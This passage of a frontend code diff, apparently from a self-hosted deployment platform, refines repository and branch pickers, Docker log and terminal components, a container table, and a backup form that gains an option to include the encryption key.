|
||||||
|
|
||||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search repository..."
|
placeholder="Search repository..."
|
||||||
@@ -270,7 +277,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
|||||||
<CommandGroup>
|
<CommandGroup>
|
||||||
{repositories?.map((repo) => (
|
{repositories?.map((repo) => (
|
||||||
<CommandItem
|
<CommandItem
|
||||||
value={repo.name}
|
value={`${repo.owner.login}/${repo.name}`}
|
||||||
key={repo.url}
|
key={repo.url}
|
||||||
onSelect={() => {
|
onSelect={() => {
|
||||||
form.setValue("repository", {
|
form.setValue("repository", {
|
||||||
@@ -280,8 +287,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
|||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
<span className="flex items-center gap-2">
|
<span className="flex min-w-0 items-center gap-2">
|
||||||
<span>{repo.name}</span>
|
<span className="truncate">{repo.name}</span>
|
||||||
<span className="text-muted-foreground text-xs">
|
<span className="text-muted-foreground text-xs">
|
||||||
{repo.owner.login}
|
{repo.owner.login}
|
||||||
</span>
|
</span>
|
||||||
@@ -289,7 +296,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
|||||||
<CheckIcon
|
<CheckIcon
|
||||||
className={cn(
|
className={cn(
|
||||||
"ml-auto h-4 w-4",
|
"ml-auto h-4 w-4",
|
||||||
repo.name === field.value.repo
|
repo.name === field.value.repo &&
|
||||||
|
repo.owner.login === field.value.owner
|
||||||
? "opacity-100"
|
? "opacity-100"
|
||||||
: "opacity-0",
|
: "opacity-0",
|
||||||
)}
|
)}
|
||||||
@@ -321,22 +329,25 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
" w-full justify-between bg-input!",
|
" w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
{status === "pending" && fetchStatus === "fetching"
|
{status === "pending" && fetchStatus === "fetching"
|
||||||
? "Loading...."
|
? "Loading...."
|
||||||
: field.value
|
: field.value
|
||||||
? branches?.find(
|
? (branches?.find(
|
||||||
(branch) => branch.name === field.value,
|
(branch) => branch.name === field.value,
|
||||||
)?.name
|
)?.name ?? field.value)
|
||||||
: "Select branch"}
|
: "Select branch"}
|
||||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search branch..."
|
placeholder="Search branch..."
|
||||||
@@ -364,7 +375,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
|||||||
form.setValue("branch", branch.name);
|
form.setValue("branch", branch.name);
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
{branch.name}
|
<span className="truncate">{branch.name}</span>
|
||||||
<CheckIcon
|
<CheckIcon
|
||||||
className={cn(
|
className={cn(
|
||||||
"ml-auto h-4 w-4",
|
"ml-auto h-4 w-4",
|
||||||
|
|||||||
@@ -199,6 +199,9 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
|||||||
<FormLabel>Gitlab Account</FormLabel>
|
<FormLabel>Gitlab Account</FormLabel>
|
||||||
<Select
|
<Select
|
||||||
onValueChange={(value) => {
|
onValueChange={(value) => {
|
||||||
|
if (!value) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
field.onChange(value);
|
field.onChange(value);
|
||||||
form.setValue("repository", {
|
form.setValue("repository", {
|
||||||
owner: "",
|
owner: "",
|
||||||
@@ -208,7 +211,6 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
|||||||
});
|
});
|
||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
defaultValue={field.value}
|
|
||||||
value={field.value}
|
value={field.value}
|
||||||
>
|
>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
@@ -256,7 +258,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -272,7 +274,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
|||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search repository..."
|
placeholder="Search repository..."
|
||||||
@@ -310,8 +315,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
|||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
<span className="flex items-center gap-2">
|
<span className="flex min-w-0 items-center gap-2">
|
||||||
<span>{repo.name}</span>
|
<span className="truncate">
|
||||||
|
{repo.name}
|
||||||
|
</span>
|
||||||
<span className="text-muted-foreground text-xs">
|
<span className="text-muted-foreground text-xs">
|
||||||
{repo.owner.username}
|
{repo.owner.username}
|
||||||
</span>
|
</span>
|
||||||
@@ -353,7 +360,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
" w-full justify-between bg-input!",
|
" w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -368,7 +375,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
|||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search branch..."
|
placeholder="Search branch..."
|
||||||
@@ -396,7 +406,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
|||||||
form.setValue("branch", branch.name);
|
form.setValue("branch", branch.name);
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
{branch.name}
|
<span className="truncate">{branch.name}</span>
|
||||||
<CheckIcon
|
<CheckIcon
|
||||||
className={cn(
|
className={cn(
|
||||||
"ml-auto h-4 w-4",
|
"ml-auto h-4 w-4",
|
||||||
|
|||||||
@@ -52,7 +52,7 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
|
|||||||
Preview Compose
|
Preview Compose
|
||||||
</Button>
|
</Button>
|
||||||
</DialogTrigger>
|
</DialogTrigger>
|
||||||
<DialogContent className="sm:max-w-6xl max-h-200">
|
<DialogContent className="sm:max-w-6xl max-h-[85vh] flex flex-col">
|
||||||
<DialogHeader>
|
<DialogHeader>
|
||||||
<DialogTitle>Converted Compose</DialogTitle>
|
<DialogTitle>Converted Compose</DialogTitle>
|
||||||
<DialogDescription>
|
<DialogDescription>
|
||||||
@@ -62,10 +62,6 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
|
|||||||
</DialogHeader>
|
</DialogHeader>
|
||||||
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
|
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
|
||||||
|
|
||||||
<AlertBlock type="info" className="mb-4">
|
|
||||||
Preview your docker-compose file with added domains. Note: At least
|
|
||||||
one domain must be specified for this conversion to take effect.
|
|
||||||
</AlertBlock>
|
|
||||||
{isPending ? (
|
{isPending ? (
|
||||||
<div className="flex flex-row items-center justify-center min-h-100 border p-4 rounded-md">
|
<div className="flex flex-row items-center justify-center min-h-100 border p-4 rounded-md">
|
||||||
<Loader2 className="h-8 w-8 text-muted-foreground mb-2 animate-spin" />
|
<Loader2 className="h-8 w-8 text-muted-foreground mb-2 animate-spin" />
|
||||||
@@ -79,7 +75,7 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
|
|||||||
</div>
|
</div>
|
||||||
) : (
|
) : (
|
||||||
<>
|
<>
|
||||||
<div className="flex flex-row gap-2 justify-end my-4">
|
<div className="flex flex-row gap-2 justify-end">
|
||||||
<Button
|
<Button
|
||||||
variant="secondary"
|
variant="secondary"
|
||||||
isLoading={isPending}
|
isLoading={isPending}
|
||||||
@@ -100,14 +96,15 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
|
|||||||
</Button>
|
</Button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<pre>
|
<div className="flex-1 min-h-0 overflow-auto rounded-md border">
|
||||||
<CodeEditor
|
<CodeEditor
|
||||||
value={compose || ""}
|
value={compose || ""}
|
||||||
language="yaml"
|
language="yaml"
|
||||||
readOnly
|
readOnly
|
||||||
height="50rem"
|
height="100%"
|
||||||
|
wrapperClassName="h-full"
|
||||||
/>
|
/>
|
||||||
</pre>
|
</div>
|
||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
</DialogContent>
|
</DialogContent>
|
||||||
|
|||||||
@@ -35,9 +35,14 @@ export const DockerLogs = dynamic(
|
|||||||
interface Props {
|
interface Props {
|
||||||
appName: string;
|
appName: string;
|
||||||
serverId?: string;
|
serverId?: string;
|
||||||
|
serviceId?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
|
export const ShowDockerLogsStack = ({
|
||||||
|
appName,
|
||||||
|
serverId,
|
||||||
|
serviceId,
|
||||||
|
}: Props) => {
|
||||||
const [option, setOption] = useState<"swarm" | "native">("native");
|
const [option, setOption] = useState<"swarm" | "native">("native");
|
||||||
const [containerId, setContainerId] = useState<string | undefined>();
|
const [containerId, setContainerId] = useState<string | undefined>();
|
||||||
|
|
||||||
@@ -167,6 +172,7 @@ export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
|
|||||||
serverId={serverId || ""}
|
serverId={serverId || ""}
|
||||||
containerId={containerId || "select-a-container"}
|
containerId={containerId || "select-a-container"}
|
||||||
runType={option}
|
runType={option}
|
||||||
|
serviceId={serviceId}
|
||||||
/>
|
/>
|
||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
|
|||||||
@@ -35,12 +35,14 @@ interface Props {
|
|||||||
appName: string;
|
appName: string;
|
||||||
serverId?: string;
|
serverId?: string;
|
||||||
appType: "stack" | "docker-compose";
|
appType: "stack" | "docker-compose";
|
||||||
|
serviceId?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export const ShowDockerLogsCompose = ({
|
export const ShowDockerLogsCompose = ({
|
||||||
appName,
|
appName,
|
||||||
appType,
|
appType,
|
||||||
serverId,
|
serverId,
|
||||||
|
serviceId,
|
||||||
}: Props) => {
|
}: Props) => {
|
||||||
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
|
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
|
||||||
{
|
{
|
||||||
@@ -104,6 +106,7 @@ export const ShowDockerLogsCompose = ({
|
|||||||
serverId={serverId || ""}
|
serverId={serverId || ""}
|
||||||
containerId={containerId || "select-a-container"}
|
containerId={containerId || "select-a-container"}
|
||||||
runType="native"
|
runType="native"
|
||||||
|
serviceId={serviceId}
|
||||||
/>
|
/>
|
||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
|
|||||||
@@ -79,6 +79,7 @@ const Schema = z
|
|||||||
schedule: z.string().min(1, "Schedule (Cron) required"),
|
schedule: z.string().min(1, "Schedule (Cron) required"),
|
||||||
prefix: z.string().min(1, "Prefix required"),
|
prefix: z.string().min(1, "Prefix required"),
|
||||||
enabled: z.boolean(),
|
enabled: z.boolean(),
|
||||||
|
includeEncryptionKey: z.boolean(),
|
||||||
database: z.string().min(1, "Database required"),
|
database: z.string().min(1, "Database required"),
|
||||||
keepLatestCount: z.coerce.number().optional(),
|
keepLatestCount: z.coerce.number().optional(),
|
||||||
serviceName: z.string().nullable(),
|
serviceName: z.string().nullable(),
|
||||||
@@ -223,6 +224,7 @@ export const HandleBackup = ({
|
|||||||
: "",
|
: "",
|
||||||
destinationId: "",
|
destinationId: "",
|
||||||
enabled: true,
|
enabled: true,
|
||||||
|
includeEncryptionKey: true,
|
||||||
prefix: "/",
|
prefix: "/",
|
||||||
schedule: "",
|
schedule: "",
|
||||||
keepLatestCount: undefined,
|
keepLatestCount: undefined,
|
||||||
@@ -262,6 +264,7 @@ export const HandleBackup = ({
|
|||||||
: "",
|
: "",
|
||||||
destinationId: backup?.destinationId ?? "",
|
destinationId: backup?.destinationId ?? "",
|
||||||
enabled: backup?.enabled ?? true,
|
enabled: backup?.enabled ?? true,
|
||||||
|
includeEncryptionKey: backup?.includeEncryptionKey ?? true,
|
||||||
prefix: backup?.prefix ?? "/",
|
prefix: backup?.prefix ?? "/",
|
||||||
schedule: backup?.schedule ?? "",
|
schedule: backup?.schedule ?? "",
|
||||||
keepLatestCount: backup?.keepLatestCount ?? undefined,
|
keepLatestCount: backup?.keepLatestCount ?? undefined,
|
||||||
@@ -309,6 +312,7 @@ export const HandleBackup = ({
|
|||||||
prefix: data.prefix,
|
prefix: data.prefix,
|
||||||
schedule: data.schedule,
|
schedule: data.schedule,
|
||||||
enabled: data.enabled,
|
enabled: data.enabled,
|
||||||
|
includeEncryptionKey: data.includeEncryptionKey,
|
||||||
database: data.database,
|
database: data.database,
|
||||||
keepLatestCount: data.keepLatestCount ?? null,
|
keepLatestCount: data.keepLatestCount ?? null,
|
||||||
databaseType: data.databaseType || databaseType,
|
databaseType: data.databaseType || databaseType,
|
||||||
@@ -409,7 +413,7 @@ export const HandleBackup = ({
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -665,6 +669,31 @@ export const HandleBackup = ({
|
|||||||
</FormItem>
|
</FormItem>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
|
{databaseType === "web-server" && (
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="includeEncryptionKey"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="flex flex-row items-center justify-between rounded-lg border p-3 ">
|
||||||
|
<div className="space-y-0.5">
|
||||||
|
<FormLabel>Include encryption key</FormLabel>
|
||||||
|
<FormDescription>
|
||||||
|
Stores the encryption key inside the backup so
|
||||||
|
environment variables can be restored on a new server.
|
||||||
|
Anyone with access to the backup file can decrypt
|
||||||
|
them.
|
||||||
|
</FormDescription>
|
||||||
|
</div>
|
||||||
|
<FormControl>
|
||||||
|
<Switch
|
||||||
|
checked={field.value}
|
||||||
|
onCheckedChange={field.onChange}
|
||||||
|
/>
|
||||||
|
</FormControl>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
{backupType === "compose" && (
|
{backupType === "compose" && (
|
||||||
<>
|
<>
|
||||||
{form.watch("databaseType") === "postgres" && (
|
{form.watch("databaseType") === "postgres" && (
|
||||||
|
|||||||
@@ -345,7 +345,7 @@ export const RestoreBackup = ({
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -427,7 +427,7 @@ export const RestoreBackup = ({
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
|
|||||||
@@ -23,6 +23,7 @@ interface Props {
|
|||||||
containerId: string;
|
containerId: string;
|
||||||
serverId?: string | null;
|
serverId?: string | null;
|
||||||
runType: "swarm" | "native";
|
runType: "swarm" | "native";
|
||||||
|
serviceId?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export const priorities = [
|
export const priorities = [
|
||||||
@@ -52,6 +53,7 @@ export const DockerLogsId: React.FC<Props> = ({
|
|||||||
containerId,
|
containerId,
|
||||||
serverId,
|
serverId,
|
||||||
runType,
|
runType,
|
||||||
|
serviceId,
|
||||||
}) => {
|
}) => {
|
||||||
const { data } = api.docker.getConfig.useQuery(
|
const { data } = api.docker.getConfig.useQuery(
|
||||||
{
|
{
|
||||||
@@ -157,6 +159,10 @@ export const DockerLogsId: React.FC<Props> = ({
|
|||||||
params.append("serverId", serverId);
|
params.append("serverId", serverId);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (serviceId) {
|
||||||
|
params.append("serviceId", serviceId);
|
||||||
|
}
|
||||||
|
|
||||||
const wsUrl = `${protocol}//${
|
const wsUrl = `${protocol}//${
|
||||||
window.location.host
|
window.location.host
|
||||||
}/docker-container-logs?${params.toString()}`;
|
}/docker-container-logs?${params.toString()}`;
|
||||||
@@ -222,7 +228,7 @@ export const DockerLogsId: React.FC<Props> = ({
|
|||||||
ws.close();
|
ws.close();
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
}, [containerId, serverId, lines, search, since]);
|
}, [containerId, serverId, serviceId, lines, search, since]);
|
||||||
|
|
||||||
const handleDownload = () => {
|
const handleDownload = () => {
|
||||||
const logContent = filteredLogs
|
const logContent = filteredLogs
|
||||||
|
|||||||
@@ -1,10 +1,13 @@
|
|||||||
import type { ColumnDef } from "@tanstack/react-table";
|
import type { ColumnDef } from "@tanstack/react-table";
|
||||||
|
import copy from "copy-to-clipboard";
|
||||||
import { ArrowUpDown, MoreHorizontal } from "lucide-react";
|
import { ArrowUpDown, MoreHorizontal } from "lucide-react";
|
||||||
|
import { toast } from "sonner";
|
||||||
import { Badge } from "@/components/ui/badge";
|
import { Badge } from "@/components/ui/badge";
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
import {
|
import {
|
||||||
DropdownMenu,
|
DropdownMenu,
|
||||||
DropdownMenuContent,
|
DropdownMenuContent,
|
||||||
|
DropdownMenuItem,
|
||||||
DropdownMenuLabel,
|
DropdownMenuLabel,
|
||||||
DropdownMenuTrigger,
|
DropdownMenuTrigger,
|
||||||
} from "@/components/ui/dropdown-menu";
|
} from "@/components/ui/dropdown-menu";
|
||||||
@@ -37,6 +40,7 @@ export const columns: ColumnDef<Container>[] = [
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
accessorKey: "state",
|
accessorKey: "state",
|
||||||
|
filterFn: "equals",
|
||||||
header: ({ column }) => {
|
header: ({ column }) => {
|
||||||
return (
|
return (
|
||||||
<Button
|
<Button
|
||||||
@@ -56,7 +60,7 @@ export const columns: ColumnDef<Container>[] = [
|
|||||||
variant={
|
variant={
|
||||||
value === "running"
|
value === "running"
|
||||||
? "default"
|
? "default"
|
||||||
: value === "failed"
|
: value === "exited" || value === "dead"
|
||||||
? "destructive"
|
? "destructive"
|
||||||
: "secondary"
|
: "secondary"
|
||||||
}
|
}
|
||||||
@@ -99,6 +103,28 @@ export const columns: ColumnDef<Container>[] = [
|
|||||||
},
|
},
|
||||||
cell: ({ row }) => <div className="lowercase">{row.getValue("image")}</div>,
|
cell: ({ row }) => <div className="lowercase">{row.getValue("image")}</div>,
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "ports",
|
||||||
|
header: ({ column }) => {
|
||||||
|
return (
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
|
||||||
|
>
|
||||||
|
Ports
|
||||||
|
<ArrowUpDown className="ml-2 h-4 w-4" />
|
||||||
|
</Button>
|
||||||
|
);
|
||||||
|
},
|
||||||
|
cell: ({ row }) => {
|
||||||
|
const value = row.getValue("ports") as string;
|
||||||
|
return (
|
||||||
|
<div className="max-w-[16rem] truncate lowercase" title={value}>
|
||||||
|
{value}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
},
|
||||||
|
},
|
||||||
{
|
{
|
||||||
id: "actions",
|
id: "actions",
|
||||||
enableHiding: false,
|
enableHiding: false,
|
||||||
@@ -115,6 +141,14 @@ export const columns: ColumnDef<Container>[] = [
|
|||||||
</DropdownMenuTrigger>
|
</DropdownMenuTrigger>
|
||||||
<DropdownMenuContent align="end">
|
<DropdownMenuContent align="end">
|
||||||
<DropdownMenuLabel>Actions</DropdownMenuLabel>
|
<DropdownMenuLabel>Actions</DropdownMenuLabel>
|
||||||
|
<DropdownMenuItem
|
||||||
|
onClick={() => {
|
||||||
|
copy(container.containerId);
|
||||||
|
toast.success("Container ID copied to clipboard");
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
Copy Container ID
|
||||||
|
</DropdownMenuItem>
|
||||||
<ShowDockerModalLogs
|
<ShowDockerModalLogs
|
||||||
containerId={container.containerId}
|
containerId={container.containerId}
|
||||||
serverId={container.serverId}
|
serverId={container.serverId}
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ import {
|
|||||||
useReactTable,
|
useReactTable,
|
||||||
type VisibilityState,
|
type VisibilityState,
|
||||||
} from "@tanstack/react-table";
|
} from "@tanstack/react-table";
|
||||||
import { ChevronDown, Container } from "lucide-react";
|
import { ChevronDown, Container, RefreshCw } from "lucide-react";
|
||||||
import * as React from "react";
|
import * as React from "react";
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
import {
|
import {
|
||||||
@@ -26,6 +26,13 @@ import {
|
|||||||
DropdownMenuTrigger,
|
DropdownMenuTrigger,
|
||||||
} from "@/components/ui/dropdown-menu";
|
} from "@/components/ui/dropdown-menu";
|
||||||
import { Input } from "@/components/ui/input";
|
import { Input } from "@/components/ui/input";
|
||||||
|
import {
|
||||||
|
Select,
|
||||||
|
SelectContent,
|
||||||
|
SelectItem,
|
||||||
|
SelectTrigger,
|
||||||
|
SelectValue,
|
||||||
|
} from "@/components/ui/select";
|
||||||
import {
|
import {
|
||||||
Table,
|
Table,
|
||||||
TableBody,
|
TableBody,
|
||||||
@@ -44,10 +51,26 @@ interface Props {
|
|||||||
serverId?: string;
|
serverId?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const CONTAINER_STATES = [
|
||||||
|
"running",
|
||||||
|
"exited",
|
||||||
|
"paused",
|
||||||
|
"restarting",
|
||||||
|
"created",
|
||||||
|
"removing",
|
||||||
|
"dead",
|
||||||
|
];
|
||||||
|
|
||||||
export const ShowContainers = ({ serverId }: Props) => {
|
export const ShowContainers = ({ serverId }: Props) => {
|
||||||
const { data, isPending } = api.docker.getContainers.useQuery({
|
const { data, isPending, refetch, isRefetching } =
|
||||||
|
api.docker.getContainers.useQuery(
|
||||||
|
{
|
||||||
serverId,
|
serverId,
|
||||||
});
|
},
|
||||||
|
{
|
||||||
|
refetchInterval: 10_000,
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
const [sorting, setSorting] = React.useState<SortingState>([]);
|
const [sorting, setSorting] = React.useState<SortingState>([]);
|
||||||
const [columnFilters, setColumnFilters] = React.useState<ColumnFiltersState>(
|
const [columnFilters, setColumnFilters] = React.useState<ColumnFiltersState>(
|
||||||
@@ -106,12 +129,48 @@ export const ShowContainers = ({ serverId }: Props) => {
|
|||||||
}
|
}
|
||||||
className="md:max-w-sm"
|
className="md:max-w-sm"
|
||||||
/>
|
/>
|
||||||
<DropdownMenu>
|
<Select
|
||||||
<DropdownMenuTrigger asChild>
|
value={
|
||||||
|
(table.getColumn("state")?.getFilterValue() as string) ??
|
||||||
|
"all"
|
||||||
|
}
|
||||||
|
onValueChange={(value) =>
|
||||||
|
table
|
||||||
|
.getColumn("state")
|
||||||
|
?.setFilterValue(value === "all" ? undefined : value)
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<SelectTrigger className="w-40 max-sm:w-full capitalize">
|
||||||
|
<SelectValue placeholder="Filter by state" />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="all">All states</SelectItem>
|
||||||
|
{CONTAINER_STATES.map((state) => (
|
||||||
|
<SelectItem
|
||||||
|
key={state}
|
||||||
|
value={state}
|
||||||
|
className="capitalize"
|
||||||
|
>
|
||||||
|
{state}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className="sm:ml-auto max-sm:w-full"
|
size="icon"
|
||||||
|
className="shrink-0 sm:ml-auto"
|
||||||
|
onClick={() => refetch()}
|
||||||
|
disabled={isRefetching}
|
||||||
>
|
>
|
||||||
|
<RefreshCw
|
||||||
|
className={`h-4 w-4 ${isRefetching ? "animate-spin" : ""}`}
|
||||||
|
/>
|
||||||
|
<span className="sr-only">Refresh</span>
|
||||||
|
</Button>
|
||||||
|
<DropdownMenu>
|
||||||
|
<DropdownMenuTrigger asChild>
|
||||||
|
<Button variant="outline" className="max-sm:w-full">
|
||||||
Columns <ChevronDown className="ml-2 h-4 w-4" />
|
Columns <ChevronDown className="ml-2 h-4 w-4" />
|
||||||
</Button>
|
</Button>
|
||||||
</DropdownMenuTrigger>
|
</DropdownMenuTrigger>
|
||||||
|
|||||||
@@ -23,12 +23,14 @@ interface Props {
|
|||||||
containerId: string;
|
containerId: string;
|
||||||
serverId?: string;
|
serverId?: string;
|
||||||
children?: React.ReactNode;
|
children?: React.ReactNode;
|
||||||
|
serviceId?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export const DockerTerminalModal = ({
|
export const DockerTerminalModal = ({
|
||||||
children,
|
children,
|
||||||
containerId,
|
containerId,
|
||||||
serverId,
|
serverId,
|
||||||
|
serviceId,
|
||||||
}: Props) => {
|
}: Props) => {
|
||||||
const [mainDialogOpen, setMainDialogOpen] = useState(false);
|
const [mainDialogOpen, setMainDialogOpen] = useState(false);
|
||||||
const [confirmDialogOpen, setConfirmDialogOpen] = useState(false);
|
const [confirmDialogOpen, setConfirmDialogOpen] = useState(false);
|
||||||
@@ -74,6 +76,7 @@ export const DockerTerminalModal = ({
|
|||||||
id="terminal"
|
id="terminal"
|
||||||
containerId={containerId}
|
containerId={containerId}
|
||||||
serverId={serverId || ""}
|
serverId={serverId || ""}
|
||||||
|
serviceId={serviceId}
|
||||||
/>
|
/>
|
||||||
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
|
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
|
||||||
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>
|
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>
|
||||||
|
|||||||
@@ -10,12 +10,14 @@ interface Props {
|
|||||||
id: string;
|
id: string;
|
||||||
containerId?: string;
|
containerId?: string;
|
||||||
serverId?: string;
|
serverId?: string;
|
||||||
|
serviceId?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export const DockerTerminal: React.FC<Props> = ({
|
export const DockerTerminal: React.FC<Props> = ({
|
||||||
id,
|
id,
|
||||||
containerId,
|
containerId,
|
||||||
serverId,
|
serverId,
|
||||||
|
serviceId,
|
||||||
}) => {
|
}) => {
|
||||||
const termRef = useRef(null);
|
const termRef = useRef(null);
|
||||||
const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
|
const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
|
||||||
@@ -38,7 +40,7 @@ export const DockerTerminal: React.FC<Props> = ({
|
|||||||
const addonFit = new FitAddon();
|
const addonFit = new FitAddon();
|
||||||
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
|
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
|
||||||
|
|
||||||
